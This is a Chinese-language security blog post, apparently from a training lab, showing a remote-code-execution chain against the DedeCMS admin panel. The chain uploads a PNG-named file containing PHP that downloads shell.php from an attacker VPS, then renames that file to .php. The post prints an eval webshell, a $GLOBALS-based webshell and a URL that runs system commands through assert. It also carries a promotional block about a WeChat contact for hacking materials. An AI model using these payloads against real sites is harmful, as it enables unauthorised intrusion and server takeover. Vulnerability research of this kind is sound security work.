头图

前言

刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。

文章发布的时候估计比较晚了,一直没时间写了。

利用

/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......

我发布的文档->>>>添加文档->>>>站内选择进行文件上传

/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives

image-20230728094845280

文件上传

image-20230728094856782

在vps上起一个http的服务,端口设置为8016

image-20230728094909452

远程服务器存放shell.php,文件内容为

<?php @eval ($_POST ['a']);?>

准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png

<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>

上传成功后可以看到上传的图片的位置

img

修改文件名为b.php

image-20230728095102010

保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件

image-20230728095304075

image-20230728095321926

利用webshell进行命令执行。

image-20230728095349684

成功执行了命令

【----帮助网安学习,以下所有学习资料加vx:yj009991,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

思考

如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的

image-20230728100238554

所以文件内有两种绕过方法

  • 正则绕过
  • disable函数绕过

简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过

image-20230728101122230

代码内容

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>

image-20230728101156144

命令执行

http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);;)

image-20230728102212211

成功执行命令,且该命令执行为未授权命令执行。

所以在官方前几个版本中已经更新了,添加进了禁用方法

image-20230728101530314

所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。

更多网安技能的在线实操练习,请点击这里>>


蚁景网安实验室
53 声望45 粉丝

蚁景网安实验室(www.yijinglab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。